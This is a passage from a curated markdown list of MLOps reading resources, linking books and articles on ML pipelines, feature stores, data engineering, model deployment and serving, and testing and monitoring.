1. ["Machine Learning Logistics". 2017. By T. Dunning et al. O'Reilly Media Inc.](https://mapr.com/ebook/machine-learning-logistics/)
1. ["Machine Learning Design Patterns" by Valliappa Lakshmanan, Sara Robinson, Michael Munn. O'Reilly 2020](https://learning.oreilly.com/library/view/machine-learning-design/9781098115777/)
1. ["Serving Machine Learning Models: A Guide to Architecture, Stream Processing Engines, and Frameworks" by Boris Lublinsky, O'Reilly Media, Inc. 2017](https://www.lightbend.com/ebooks/machine-learning-guide-architecture-stream-processing-frameworks-oreilly)
1. ["Kubeflow for Machine Learning" by Holden Karau, Trevor Grant, Ilan Filonenko, Richard Liu, Boris Lublinsky](https://learning.oreilly.com/library/view/kubeflow-for-machine/9781492050117/)
1. ["Clean Machine Learning Code" by Moussa Taifi. Leanpub. 2020](https://leanpub.com/cleanmachinelearningcode)
1. [E-Book "Practical MLOps. How to Get Ready for Production Models"](https://valohai.com/mlops-ebook/)
1. ["Introducing MLOps" by Mark Treveil, et al. O'Reilly Media, Inc. 2020](https://learning.oreilly.com/library/view/introducing-mlops/9781492083283/)
1. ["Machine Learning for Data Streams with Practical Examples in MOA", Bifet, Albert and Gavald\`a, Ricard and Holmes, Geoff and Pfahringer, Bernhard, MIT Press, 2018](https://moa.cms.waikato.ac.nz/book/)
1. ["Machine Learning Product Manual" by Laszlo Sragner, Chris Kelly](https://machinelearningproductmanual.com/)
1. ["Data Science Bootstrap Notes" by Eric J. Ma](https://ericmjl.github.io/data-science-bootstrap-notes/)
1. ["Data Teams" by Jesse Anderson, 2020](https://www.datateams.io/)
1. ["Data Science on AWS" by Chris Fregly, Antje Barth, 2021](https://learning.oreilly.com/library/view/data-science-on/9781492079385/)
1. [“Engineering MLOps” by Emmanuel Raj, 2021](https://www.packtpub.com/product/engineering-mlops/9781800562882)
1. [Machine Learning Engineering in Action](https://www.manning.com/books/machine-learning-engineering-in-action)
1. [Practical MLOps](https://learning.oreilly.com/library/view/practical-mlops/9781098103002/)
1. ["Effective Data Science Infrastructure" by Ville Tuulos, 2021](https://www.manning.com/books/effective-data-science-infrastructure)
1. [AI and Machine Learning for On-Device Development, 2021, By Laurence Moroney. O'Reilly](https://learning.oreilly.com/library/view/ai-and-machine/9781098101732/)
1. [Designing Machine Learning Systems ,2022 by Chip Huyen , O'Reilly ](https://www.oreilly.com/library/view/designing-machine-learning/9781098107956/)
1. [Reliable Machine Learning. 2022. By Cathy Chen, Niall Richard Murphy, Kranti Parisa, D. Sculley, Todd Underwood. O'Reilly](https://learning.oreilly.com/library/view/reliable-machine-learning/9781098106218/)
</details>
<a name="mlops-articles"></a>
# MLOps Articles
<details>
<summary>Click to expand!</summary>
1. [Continuous Delivery for Machine Learning (by Thoughtworks)](https://martinfowler.com/articles/cd4ml.html)
1. [What is MLOps? NVIDIA Blog](https://blogs.nvidia.com/blog/2020/09/03/what-is-mlops/)
1. [MLSpec: A project to standardize the intercomponent schemas for a multi-stage ML Pipeline.](https://github.com/visenger/MLSpec)
1. [The 2021 State of Enterprise Machine Learning](https://info.algorithmia.com/tt-state-of-ml-2021) | State of Enterprise ML 2020: [PDF](https://info.algorithmia.com/hubfs/2019/Whitepapers/The-State-of-Enterprise-ML-2020/Algorithmia_2020_State_of_Enterprise_ML.pdf) and [Interactive](https://algorithmia.com/state-of-ml)
1. [Organizing machine learning projects: project management guidelines.](https://www.jeremyjordan.me/ml-projects-guide/)
1. [Rules for ML Project (Best practices)](http://martin.zinkevich.org/rules_of_ml/rules_of_ml.pdf)
1. [ML Pipeline Template](https://www.agilestacks.com/tutorials/ml-pipelines)
1. [Data Science Project Structure](https://drivendata.github.io/cookiecutter-data-science/#directory-structure)
1. [Reproducible ML](https://github.com/cmawer/reproducible-model)
1. [ML project template facilitating both research and production phases.](https://github.com/visenger/ml-project-template)
1. [Machine learning requires a fundamentally different deployment approach. As organizations embrace machine learning, the need for new deployment tools and strategies grows.](https://www.oreilly.com/radar/machine-learning-requires-a-fundamentally-different-deployment-approach/)
1. [Introducting Flyte: A Cloud Native Machine Learning and Data Processing Platform](https://eng.lyft.com/introducing-flyte-cloud-native-machine-learning-and-data-processing-platform-fb2bb3046a59)
1. [Why is DevOps for Machine Learning so Different?](https://hackernoon.com/why-is-devops-for-machine-learning-so-different-384z32f1)
1. [Lessons learned turning machine learning models into real products and services – O’Reilly](https://www.oreilly.com/radar/lessons-learned-turning-machine-learning-models-into-real-products-and-services/)
1. [MLOps: Model management, deployment and monitoring with Azure Machine Learning](https://docs.microsoft.com/en-gb/azure/machine-learning/concept-model-management-and-deployment)
1. [Guide to File Formats for Machine Learning: Columnar, Training, Inferencing, and the Feature Store](https://towardsdatascience.com/guide-to-file-formats-for-machine-learning-columnar-training-inferencing-and-the-feature-store-2e0c3d18d4f9)
1. [Architecting a Machine Learning Pipeline How to build scalable Machine Learning systems](https://towardsdatascience.com/architecting-a-machine-learning-pipeline-a847f094d1c7)
1. [Why Machine Learning Models Degrade In Production](https://towardsdatascience.com/why-machine-learning-models-degrade-in-production-d0f2108e9214)
1. [Concept Drift and Model Decay in Machine Learning](http://xplordat.com/2019/04/25/concept-drift-and-model-decay-in-machine-learning/?source=post_page---------------------------)
1. [Machine Learning in Production: Why You Should Care About Data and Concept Drift](https://towardsdatascience.com/machine-learning-in-production-why-you-should-care-about-data-and-concept-drift-d96d0bc907fb)
1. [Bringing ML to Production](https://www.slideshare.net/mikiobraun/bringing-ml-to-production-what-is-missing-amld-2020)
1. [A Tour of End-to-End Machine Learning Platforms](https://databaseline.tech/a-tour-of-end-to-end-ml-platforms/)
1. [MLOps: Continuous delivery and automation pipelines in machine learning](https://cloud.google.com/solutions/machine-learning/mlops-continuous-delivery-and-automation-pipelines-in-machine-learning)
1. [AI meets operations](https://www.oreilly.com/radar/ai-meets-operations/)
1. [What would machine learning look like if you mixed in DevOps? Wonder no more, we lift the lid on MLOps](https://www.theregister.co.uk/2020/03/07/devops_machine_learning_mlops/)
1. [Forbes: The Emergence Of ML Ops](https://www.forbes.com/sites/cognitiveworld/2020/03/08/the-emergence-of-ml-ops/#72f04ed04698)
1. [Cognilytica Report "ML Model Management and Operations 2020 (MLOps)"](https://www.cognilytica.com/2020/03/03/ml-model-management-and-operations-2020-mlops/)
1. [Introducing Cloud AI Platform Pipelines](https://cloud.google.com/blog/products/ai-machine-learning/introducing-cloud-ai-platform-pipelines)
1. [A Guide to Production Level Deep Learning ](https://github.com/alirezadir/Production-Level-Deep-Learning/blob/master/README.md)
1. [The 5 Components Towards Building Production-Ready Machine Learning Systems](https://medium.com/cracking-the-data-science-interview/the-5-components-towards-building-production-ready-machine-learning-system-a4d5237ec04e)
1. [Deep Learning in Production (references about deploying deep learning-based models in production)](https://github.com/ahkarami/Deep-Learning-in-Production)
1. [Machine Learning Experiment Tracking](https://towardsdatascience.com/machine-learning-experiment-tracking-93b796e501b0)
1. [The Team Data Science Process (TDSP)](https://docs.microsoft.com/en-us/azure/machine-learning/team-data-science-process/overview)
1. [MLOps Solutions (Azure based)](https://github.com/visenger/MLOps)
1. [Monitoring ML pipelines](https://intothedepthsofdataengineering.wordpress.com/2020/02/13/monitoring-ml-pipelines/)
1. [Deployment & Explainability of Machine Learning COVID-19 Solutions at Scale with Seldon Core and Alibi](https://github.com/axsaucedo/seldon-core/tree/corona_research_exploration/examples/models/research_paper_classification)
1. [Demystifying AI Infrastructure](https://www.intel.com/content/www/us/en/intel-capital/news/story.html?id=a0F1I00000BNTXPUA5#/type=All/page=0/term=/tags=)
1. [Organizing machine learning projects: project management guidelines.](https://www.jeremyjordan.me/ml-projects-guide/)
1. [The Checklist for Machine Learning Projects (from Aurélien Géron,"Hands-On Machine Learning with Scikit-Learn and TensorFlow")](https://github.com/visenger/handson-ml/blob/master/ml-project-checklist.md)
1. [Data Project Checklist by Jeremy Howard](https://www.fast.ai/2020/01/07/data-questionnaire/)
1. [MLOps: not as Boring as it Sounds](https://itnext.io/mlops-not-as-boring-as-it-sounds-eaebe73e3533)
1. [10 Steps to Making Machine Learning Operational. Cloudera White Paper](https://www.cloudera.com/content/dam/www/marketing/resources/whitepapers/10-steps-to-making-ml-operational.pdf)
1. [MLOps is Not Enough. The Need for an End-to-End Data Science Lifecycle Process.](https://techcommunity.microsoft.com/t5/azure-ai/mlops-is-not-enough/ba-p/1386789)
1. [Data Science Lifecycle Repository Template](https://github.com/dslp/dslp-repo-template)
1. [Template: code and pipeline definition for a machine learning project demonstrating how to automate an end to end ML/AI workflow. ](https://github.com/aronchick/MLOps-pipeline)
1. [Nitpicking Machine Learning Technical Debt](https://matthewmcateer.me/blog/machine-learning-technical-debt/)
1. [The Best Tools, Libraries, Frameworks and Methodologies that Machine Learning Teams Actually Use – Things We Learned from 41 ML Startups](https://neptune.ai/blog/tools-libraries-frameworks-methodologies-ml-startups-roundup)
1. [Software Engineering for AI/ML - An Annotated Bibliography](https://github.com/ckaestne/seaibib)
1. [Intelligent System. Machine Learning in Practice](https://intelligentsystem.io/)
1. [CMU 17-445/645: Software Engineering for AI-Enabled Systems (SE4AI)](https://github.com/ckaestne/seai/)
1. [Machine Learning is Requirements Engineering](https://link.medium.com/l7akzjR826)
1. [Machine Learning Reproducibility Checklist](https://www.cs.mcgill.ca/~jpineau/ReproducibilityChecklist.pdf)
1. [Machine Learning Ops. A collection of resources on how to facilitate Machine Learning Ops with GitHub.](http://mlops-github.com/)
1. [Task Cheatsheet for Almost Every Machine Learning Project A checklist of tasks for building End-to-End ML projects](https://towardsdatascience.com/task-cheatsheet-for-almost-every-machine-learning-project-d0946861c6d0)
1. [Web services vs. streaming for real-time machine learning endpoints](https://towardsdatascience.com/web-services-vs-streaming-for-real-time-machine-learning-endpoints-c08054e2b18e)
1. [How PyTorch Lightning became the first ML framework to run continuous integration on TPUs](https://medium.com/pytorch/how-pytorch-lightning-became-the-first-ml-framework-to-runs-continuous-integration-on-tpus-a47a882b2c95)
1. [The ultimate guide to building maintainable Machine Learning pipelines using DVC](https://towardsdatascience.com/the-ultimate-guide-to-building-maintainable-machine-learning-pipelines-using-dvc-a976907b2a1b)
1. [Continuous Machine Learning (CML) is CI/CD for Machine Learning Projects (DVC)](https://cml.dev/)
1. [What I learned from looking at 200 machine learning tools](https://huyenchip.com/2020/06/22/mlops.html) | Update: [MLOps Tooling Landscape v2 (+84 new tools) - Dec '20](https://docs.google.com/spreadsheets/d/10pPQYmyNnYb6zshOKxBjJ704E0XUj2vJ9HCDfoZxAoA/edit#gid=1651929178)
1. [Big Data & AI Landscape](http://mattturck.com/wp-content/uploads/2018/07/Matt_Turck_FirstMark_Big_Data_Landscape_2018_Final.png)
1. [Deploying Machine Learning Models as Data, not Code — A better match?](https://towardsdatascience.com/deploying-machine-learning-models-as-data-not-code-omega-ml-8825a0ae530a)
1. [“Thou shalt always scale” — 10 commandments of MLOps](https://towardsdatascience.com/mlops-thou-shalt-always-scale-10-commandments-of-mlops-152c11e711a5)
1. [Three Risks in Building Machine Learning Systems](https://insights.sei.cmu.edu/sei_blog/2020/05/three-risks-in-building-machine-learning-systems.html)
1. [Blog about ML in production (by maiot.io)](https://blog.maiot.io/)
1. Back to the Machine Learning fundamentals: How to write code for Model deployment. [Part 1](https://medium.com/@ivannardini/back-to-the-machine-learning-fundamentals-how-to-write-code-for-model-deployment-part-1-3-4b05deda1cd1), [Part 2](https://medium.com/@ivannardini/back-to-the-machine-learning-fundamentals-how-to-write-code-for-model-deployment-part-2-3-9632d5a43f98), [Part 3](https://medium.com/@ivannardini/back-to-the-machine-learning-fundamentals-how-to-write-code-for-model-deployment-part-3-3-fb85102bebb2)
1. [MLOps: Machine Learning as an Engineering Discipline](https://towardsdatascience.com/ml-ops-machine-learning-as-an-engineering-discipline-b86ca4874a3f)
1. [ML Engineering on Google Cloud Platform (hands-on labs and code samples)](https://github.com/GoogleCloudPlatform/mlops-on-gcp)
1. [Deep Reinforcement Learning in Production. The use of Reinforcement Learning to Personalize User Experience at Zynga](https://towardsdatascience.com/deep-reinforcement-learning-in-production-7e1e63471e2)
1. [What is Data Observability?](https://towardsdatascience.com/what-is-data-observability-40b337971e3e)
1. [A Practical Guide to Maintaining Machine Learning in Production](https://eugeneyan.com/writing/practical-guide-to-maintaining-machine-learning/)
1. Continuous Machine Learning. [Part 1](https://mribeirodantas.xyz/blog/index.php/2020/08/10/continuous-machine-learning/), [Part 2](https://mribeirodantas.xyz/blog/index.php/2020/08/18/continuous-machine-learning-part-ii/). Part 3 is coming soon.
1. [The Agile approach in data science explained by an ML expert](https://www.iunera.com/kraken/big-data-science-strategy/the-agile-approach-in-data-science-explained-by-an-ml-expert/)
1. [Here is what you need to look for in a model server to build ML-powered services](https://anyscale.com/blog/heres-what-you-need-to-look-for-in-a-model-server-to-build-ml-powered-services/)
1. [The problem with AI developer tools for enterprises (and what IKEA has to do with it)](https://towardsdatascience.com/the-problem-with-ai-developer-tools-for-enterprises-and-what-ikea-has-to-do-with-it-b26277841661)
1. [Streaming Machine Learning with Tiered Storage](https://www.confluent.io/blog/streaming-machine-learning-with-tiered-storage/)
1. [Best practices for performance and cost optimization for machine learning (Google Cloud)](https://cloud.google.com/solutions/machine-learning/best-practices-for-ml-performance-cost)
1. [Lean Data and Machine Learning Operations](https://databaseline.tech/lean-dml-operations/)
1. [A Brief Guide to Running ML Systems in Production Best Practices for Site Reliability Engineers](https://www.oreilly.com/content/a-brief-guide-to-running-ml-systems-in-production/)
1. [AI engineering practices in the wild - SIG | Getting software right for a healthier digital world](https://www.softwareimprovementgroup.com/resources/ai-engineering-practices-in-the-wild/)
1. [SE-ML | The 2020 State of Engineering Practices for Machine Learning](https://se-ml.github.io/report2020)
1. [Awesome Software Engineering for Machine Learning (GitHub repository)](https://github.com/SE-ML/awesome-seml)
1. [Sampling isn’t enough, profile your ML data instead](https://towardsdatascience.com/sampling-isnt-enough-profile-your-ml-data-instead-6a28fcfb2bd4?source=friends_link&sk=5af46143562d348b182c449265ed54fb)
1. [Reproducibility in ML: why it matters and how to achieve it](https://determined.ai/blog/reproducibility-in-ml/)
1. [12 Factors of reproducible Machine Learning in production](https://blog.maiot.io/12-factors-of-ml-in-production/)
1. [MLOps: More Than Automation](https://devops.com/mlop-more-than-automation/)
1. [Lean Data Science](https://locallyoptimistic.com/post/lean-data-science/)
1. [Engineering Skills for Data Scientists](https://mark.douthwaite.io/tag/engineering-skills-for-data-scientists/)
1. [DAGsHub Blog. Read about data science and machine learning workflows, MLOps, and open source data science](https://dagshub.com/blog/)
1. [Data Science Project Flow for Startups](https://towardsdatascience.com/data-science-project-flow-for-startups-282a93d4508d)
1. [Data Science Engineering at Shopify](https://shopify.engineering/topics/data-science-engineering)
1. [Building state-of-the-art machine learning technology with efficient execution for the crypto economy](https://blog.coinbase.com/building-state-of-the-art-machine-learning-technology-with-efficient-execution-for-the-crypto-ad10896a48a)
1. [Completing the Machine Learning Loop](https://jimmymwhitaker.medium.com/completing-the-machine-learning-loop-e03c784eaab4)
1. [Deploying Machine Learning Models: A Checklist](https://twolodzko.github.io/ml-checklist)
1. [Global MLOps and ML tools landscape (by MLReef)](https://about.mlreef.com/blog/global-mlops-and-ml-tools-landscape)
1. [Why all Data Science teams need to get serious about MLOps](https://towardsdatascience.com/why-data-science-teams-needs-to-get-serious-about-mlops-56c98e255e20)
1. [MLOps Values (by Bart Grasza)](https://gist.github.com/bartgras/4ab9c716167b5d9aee6a222f7301ac60)
1. [Machine Learning Systems Design (by Chip Huyen)](https://huyenchip.com/machine-learning-systems-design/toc.html)
1. [Designing an ML system (Stanford | CS 329 | Chip Huyen)](https://docs.google.com/presentation/d/13a5B2HeK9Id59zy3oNJDv5_ksDvzbGmNLx4zumkimZM/edit?usp=sharing)
1. [How COVID-19 Has Infected AI Models (about the data drift or model drift concept)](https://www.dominodatalab.com/blog/how-covid-19-has-infected-ai-models/)
1. [Microkernel Architecture for Machine Learning Library. An Example of Microkernel Architecture with Python Metaclass](https://towardsdatascience.com/microkernel-architecture-for-machine-learning-library-c04b797e0d5f)
1. [Machine Learning in production: the Booking.com approach](https://booking.ai/https-booking-ai-machine-learning-production-3ee8fe943c70)
1. [What I Learned From Attending TWIMLcon 2021 (by James Le)](https://jameskle.com/writes/twiml2021)
1. [Designing ML Orchestration Systems for Startups. A case study in building a lightweight production-grade ML orchestration system](https://towardsdatascience.com/designing-ml-orchestration-systems-for-startups-202e527d7897)
1. [Towards MLOps: Technical capabilities of a Machine Learning platform | Prosus AI Tech Blog](https://medium.com/prosus-ai-tech-blog/towards-mlops-technical-capabilities-of-a-machine-learning-platform-61f504e3e281)
1. [Get started with MLOps A comprehensive MLOps tutorial with open source tools](https://towardsdatascience.com/get-started-with-mlops-fd7062cab018)
1. [From DevOps to MLOPS: Integrate Machine Learning Models using Jenkins and Docker](https://towardsdatascience.com/from-devops-to-mlops-integrate-machine-learning-models-using-jenkins-and-docker-79034dbedf1)
1. [Example code for a basic ML Platform based on Pulumi, FastAPI, DVC, MLFlow and more](https://github.com/aporia-ai/mlplatform-workshop)
1. [Software Engineering for Machine Learning: Characterizing and Detecting Mismatch in Machine-Learning Systems](https://insights.sei.cmu.edu/blog/software-engineering-for-machine-learning-characterizing-and-detecting-mismatch-in-machine-learning-systems/)
1. [TWIML Solutions Guide](https://twimlai.com/solutions/introducing-twiml-ml-ai-solutions-guide/)
1. [How Well Do You Leverage Machine Learning at Scale? Six Questions to Ask](https://medium.com/cognizantai/how-well-do-you-leverage-machine-learning-at-scale-six-questions-to-ask-7e6acda15ea5)
1. [Getting started with MLOps: Selecting the right capabilities for your use case](https://cloud.google.com/blog/products/ai-machine-learning/select-the-right-mlops-capabilities-for-your-ml-use-case)
1. [The Latest Work from the SEI: Artificial Intelligence, DevSecOps, and Security Incident Response](https://insights.sei.cmu.edu/blog/the-latest-work-from-the-sei-artificial-intelligence-devsecops-and-security-incident-response/)
1. [MLOps: The Ultimate Guide. A handbook on MLOps and how to think about it](https://towardsdatascience.com/mlops-the-ultimate-guide-9d902c752fd1)
1. [Enterprise Readiness of Cloud MLOps](https://gigaom.com/report/enterprise-readiness-of-cloud-mlops/)
1. [Should I Train a Model for Each Customer or Use One Model for All of My Customers?](https://towardsdatascience.com/should-i-train-a-model-for-each-customer-or-use-one-model-for-all-of-my-customers-f9e8734d991)
1. [MLOps-Basics (GitHub repo)](https://github.com/graviraja/MLOps-Basics) by [raviraja](https://github.com/graviraja)
1. [Another tool won’t fix your MLOps problems](https://dshersh.medium.com/too-many-mlops-tools-c590430ba81b)
1. [Best MLOps Tools: What to Look for and How to Evaluate Them (by NimbleBox.ai)](https://nimblebox.ai/blog/mlops-tools)
1. [MLOps vs. DevOps: A Detailed Comparison (by NimbleBox.ai)](https://nimblebox.ai/blog/mlops-vs-devops)
1. [A Guide To Setting Up Your MLOps Team (by NimbleBox.ai)](https://nimblebox.ai/blog/mlops-team-structure)
</details>
<a name="wfl-management"></a>
# MLOps: Workflow Management
1. [Open-source Workflow Management Tools: A Survey by Ploomber](https://ploomber.io/posts/survey/)
1. [How to Compare ML Experiment Tracking Tools to Fit Your Data Science Workflow (by dagshub)](https://dagshub.com/blog/how-to-compare-ml-experiment-tracking-tools-to-fit-your-data-science-workflow/)
1. [15 Best Tools for Tracking Machine Learning Experiments](https://medium.com/neptune-ai/15-best-tools-for-tracking-machine-learning-experiments-64c6eff16808)
<a name="feature-stores"></a>
# MLOps: Feature Stores
<details>
<summary>Click to expand!</summary>
1. [Feature Stores for Machine Learning Medium Blog](https://medium.com/data-for-ai)
1. [MLOps with a Feature Store](https://www.logicalclocks.com/blog/mlops-with-a-feature-store)
1. [Feature Stores for ML](http://featurestore.org/)
1. [Hopsworks: Data-Intensive AI with a Feature Store](https://github.com/logicalclocks/hopsworks)
1. [Feast: An open-source Feature Store for Machine Learning](https://github.com/feast-dev/feast)
1. [What is a Feature Store?](https://www.tecton.ai/blog/what-is-a-feature-store/)
1. [ML Feature Stores: A Casual Tour](https://medium.com/@farmi/ml-feature-stores-a-casual-tour-fc45a25b446a)
1. [Comprehensive List of Feature Store Architectures for Data Scientists and Big Data Professionals](https://hackernoon.com/the-essential-architectures-for-every-data-scientist-and-big-data-engineer-f21u3e5c)
1. [ML Engineer Guide: Feature Store vs Data Warehouse (vendor blog)](https://www.logicalclocks.com/blog/feature-store-vs-data-warehouse)
1. [Building a Gigascale ML Feature Store with Redis, Binary Serialization, String Hashing, and Compression (DoorDash blog)](https://doordash.engineering/2020/11/19/building-a-gigascale-ml-feature-store-with-redis/)
1. [Feature Stores: Variety of benefits for Enterprise AI.](https://insidebigdata.com/2020/12/29/how-feature-stores-will-revolutionize-enterprise-ai/)
1. [Feature Store as a Foundation for Machine Learning](https://towardsdatascience.com/feature-store-as-a-foundation-for-machine-learning-d010fc6eb2f3)
1. [ML Feature Serving Infrastructure at Lyft](https://eng.lyft.com/ml-feature-serving-infrastructure-at-lyft-d30bf2d3c32a)
1. [Feature Stores for Self-Service Machine Learning](https://www.ethanrosenthal.com/2021/02/03/feature-stores-self-service/)
1. [The Architecture Used at LinkedIn to Improve Feature Management in Machine Learning Models.](https://jrodthoughts.medium.com/the-architecture-used-at-linkedin-to-improve-feature-management-in-machine-learning-models-c7bd6ae54db)
1. [Is There a Feature Store Over the Rainbow? How to select the right feature store for your use case](https://towardsdatascience.com/is-there-a-feature-store-over-the-rainbow-291cab94e8a5)
</details>
<a name="dataops"></a>
# MLOps: Data Engineering (DataOps)
<details>
<summary>Click to expand!</summary>
1. [The state of data quality in 2020 – O’Reilly](https://www.oreilly.com/radar/the-state-of-data-quality-in-2020/)
1. [Why We Need DevOps for ML Data](https://tecton.ai/blog/devops-ml-data/)
1. [Data Preparation for Machine Learning (7-Day Mini-Course)](https://machinelearningmastery.com/data-preparation-for-machine-learning-7-day-mini-course/)
1. [Best practices in data cleaning: A Complete Guide to Everything You Need to Do Before and After Collecting Your Data.](https://www.researchgate.net/publication/266714997_Best_practices_in_data_cleaning_A_Complete_Guide_to_Everything_You_Need_to_Do_Before_and_After_Collecting_Your_Data)
1. [17 Strategies for Dealing with Data, Big Data, and Even Bigger Data](https://towardsdatascience.com/17-strategies-for-dealing-with-data-big-data-and-even-bigger-data-283426c7d260)
1. [DataOps Data Architecture](https://blog.datakitchen.io/blog/dataops-data-architecture)
1. [Data Orchestration — A Primer](https://medium.com/memory-leak/data-orchestration-a-primer-56f3ddbb1700)
1. [4 Data Trends to Watch in 2020](https://medium.com/memory-leak/4-data-trends-to-watch-in-2020-491707902c09)
1. [CSE 291D / 234: Data Systems for Machine Learning](http://cseweb.ucsd.edu/classes/fa20/cse291-d/index.html)
1. [A complete picture of the modern data engineering landscape](https://github.com/datastacktv/data-engineer-roadmap)
1. [Continuous Integration for your data with GitHub Actions and Great Expectations. One step closer to CI/CD for your data pipelines](https://greatexpectations.io/blog/github-actions/)
1. [Emerging Architectures for Modern Data Infrastructure](https://a16z.com/2020/10/15/the-emerging-architectures-for-modern-data-infrastructure/)
1. [Awesome Data Engineering. Learning path and resources to become a data engineer](https://awesomedataengineering.com/)
1. Data Quality at Airbnb [Part 1](https://medium.com/airbnb-engineering/data-quality-at-airbnb-e582465f3ef7) | [Part 2](https://medium.com/airbnb-engineering/data-quality-at-airbnb-870d03080469)
1. [DataHub: Popular metadata architectures explained](https://engineering.linkedin.com/blog/2020/datahub-popular-metadata-architectures-explained)
1. [Financial Times Data Platform: From zero to hero. An in-depth walkthrough of the evolution of our Data Platform](https://medium.com/ft-product-technology/financial-times-data-platform-from-zero-to-hero-143156bffb1d)
1. [Alki, or how we learned to stop worrying and love cold metadata (Dropbox)](https://dropbox.tech/infrastructure/alki--or-how-we-learned-to-stop-worrying-and-love-cold-metadata)
1. [A Beginner's Guide to Clean Data. Practical advice to spot and avoid data quality problems (by Benjamin Greve)](https://b-greve.gitbook.io/beginners-guide-to-clean-data/)
1. [ML Lake: Building Salesforce’s Data Platform for Machine Learning](https://engineering.salesforce.com/ml-lake-building-salesforces-data-platform-for-machine-learning-228c30e21f16)
1. [Data Catalog 3.0: Modern Metadata for the Modern Data Stack](https://towardsdatascience.com/data-catalog-3-0-modern-metadata-for-the-modern-data-stack-ec621f593dcf)
1. [Metadata Management Systems](https://gradientflow.com/the-growing-importance-of-metadata-management-systems/)
1. [Essential resources for data engineers (a curated recommended read and watch list for scalable data processing)](https://www.scling.com/reading-list/)
1. [Comprehensive and Comprehensible Data Catalogs: The What, Who, Where, When, Why, and How of Metadata Management (Paper)](https://arxiv.org/pdf/2103.07532.pdf)
1. [What I Learned From Attending DataOps Unleashed 2021 (byJames Le)](https://jameskle.com/writes/dataops-unleashed2021)
1. [Uber's Journey Toward Better Data Culture From First Principles](https://ubr.to/3lo9GU8)
1. [Cerberus - lightweight and extensible data validation library for Python](https://docs.python-cerberus.org/en/stable/)
1. [Design a data mesh architecture using AWS Lake Formation and AWS Glue. AWS Big Data Blog](https://aws.amazon.com/blogs/big-data/design-a-data-mesh-architecture-using-aws-lake-formation-and-aws-glue/)
1. [Data Management Challenges in Production Machine Learning (slides)](https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/46178.pdf)
1. [The Missing Piece of Data Discovery and Observability Platforms: Open Standard for Metadata](https://towardsdatascience.com/the-missing-piece-of-data-discovery-and-observability-platforms-open-standard-for-metadata-37dac2d0503)
1. [Automating Data Protection at Scale](https://medium.com/airbnb-engineering/automating-data-protection-at-scale-part-1-c74909328e08)
1. [A curated list of awesome pipeline toolkits](https://github.com/pditommaso/awesome-pipeline)
1. [Data Mesh Archtitecture](https://www.datamesh-architecture.com/)
1. [The Essential Guide to Data Exploration in Machine Learning (by NimbleBox.ai)](https://nimblebox.ai/blog/data-exploration)
1. [Finding millions of label errors with Cleanlab](https://datacentricai.org/blog/finding-millions-of-label-errors-with-cleanlab/)
</details>
<a name="deployment"></a>
# MLOps: Model Deployment and Serving
<details>
<summary>Click to expand!</summary>
1. [AI Infrastructure for Everyone: DeterminedAI](https://determined.ai/)
1. [Deploying R Models with MLflow and Docker](https://mdneuzerling.com/post/deploying-r-models-with-mlflow-and-docker/)
1. [What Does it Mean to Deploy a Machine Learning Model?](https://mlinproduction.com/what-does-it-mean-to-deploy-a-machine-learning-model-deployment-series-01/)
1. [Software Interfaces for Machine Learning Deployment](https://mlinproduction.com/software-interfaces-for-machine-learning-deployment-deployment-series-02/)
1. [Batch Inference for Machine Learning Deployment](https://mlinproduction.com/batch-inference-for-machine-learning-deployment-deployment-series-03/)
1. [AWS Cost Optimization for ML Infrastructure - EC2 spend](https://blog.floydhub.com/aws-cost-optimization-for-ml-infra-ec2/)
1. [CI/CD for Machine Learning & AI](https://blog.paperspace.com/ci-cd-for-machine-learning-ai/)
1. [Itaú Unibanco: How we built a CI/CD Pipeline for machine learning with ***online training*** in Kubeflow](https://cloud.google.com/blog/products/ai-machine-learning/itau-unibanco-how-we-built-a-cicd-pipeline-for-machine-learning-with-online-training-in-kubeflow)
1. [101 For Serving ML Models](https://pakodas.substack.com/p/101-for-serving-ml-models-10217c9f0764)
1. [Deploying Machine Learning models to production — **Inference service architecture patterns**](https://medium.com/data-for-ai/deploying-machine-learning-models-to-production-inference-service-architecture-patterns-bc8051f70080)
1. [Serverless ML: Deploying Lightweight Models at Scale](https://mark.douthwaite.io/serverless-machine-learning/)
1. ML Model Rollout To Production. [Part 1](https://www.superwise.ai/resources-old/safely-rolling-out-ml-models-to-production) | [Part 2](https://www.superwise.ai/blog/part-ii-safely-rolling-out-models-to-production)
1. [Deploying Python ML Models with Flask, Docker and Kubernetes](https://alexioannides.com/2019/01/10/deploying-python-ml-models-with-flask-docker-and-kubernetes/)
1. [Deploying Python ML Models with Bodywork](https://alexioannides.com/2020/12/01/deploying-python-ml-models-with-bodywork/)
1. [Framework for a successful Continuous Training Strategy. When should the model be retrained? What data should be used? What should be retrained? A data-driven approach](https://towardsdatascience.com/framework-for-a-successful-continuous-training-strategy-8c83d17bb9dc)
1. [Efficient Machine Learning Inference. The benefits of multi-model serving where latency matters](https://www.oreilly.com/content/efficient-machine-learning-inference/)
</details>
<a name="testing-monintoring"></a>
# MLOps: Testing, Monitoring and Maintenance
<details>
<summary>Click to expand!</summary>
1. [Building dashboards for operational visibility (AWS)](https://aws.amazon.com/builders-library/building-dashboards-for-operational-visibility/)
1. [Monitoring Machine Learning Models in Production](https://christophergs.com/machine%20learning/2020/03/14/how-to-monitor-machine-learning-models/)
1. [Effective testing for machine learning systems](https://www.jeremyjordan.me/testing-ml/)
1. [Unit Testing Data: What is it and how do you do it?](https://winderresearch.com/unit-testing-data-what-is-it-and-how-do-you-do-it/)
1. [How to Test Machine Learning Code and Systems](https://eugeneyan.com/writing/testing-ml/) ([Accompanying code](https://github.com/eugeneyan/testing-ml))
1. [Wu, T., Dong, Y., Dong, Z., Singa, A., Chen, X. and Zhang, Y., 2020. Testing Artificial Intelligence System Towards Safety and Robustness: State of the Art. IAENG International Journal of Computer Science, 47(3).](http://www.iaeng.org/IJCS/issues_v47/issue_3/IJCS_47_3_13.pdf)
1. [Multi-Armed Bandits and the Stitch Fix Experimentation Platform](https://multithreaded.stitchfix.com/blog/2020/08/05/bandits/)
1. [A/B Testing Machine Learning Models](https://mlinproduction.com/ab-test-ml-models-deployment-series-08/)
1. [Data validation for machine learning. Polyzotis, N., Zinkevich, M., Roy, S., Breck, E. and Whang, S., 2019. Proceedings of Machine Learning and Systems](https://mlsys.org/Conferences/2019/doc/2019/167.pdf)
1. [Testing machine learning based systems: a systematic mapping](https://link.springer.com/content/pdf/10.1007/s10664-020-09881-0.pdf)
1. [Explainable Monitoring: Stop flying blind and monitor your AI](https://blog.fiddler.ai/2020/04/explainable-monitoring-stop-flying-blind-and-monitor-your-ai/)
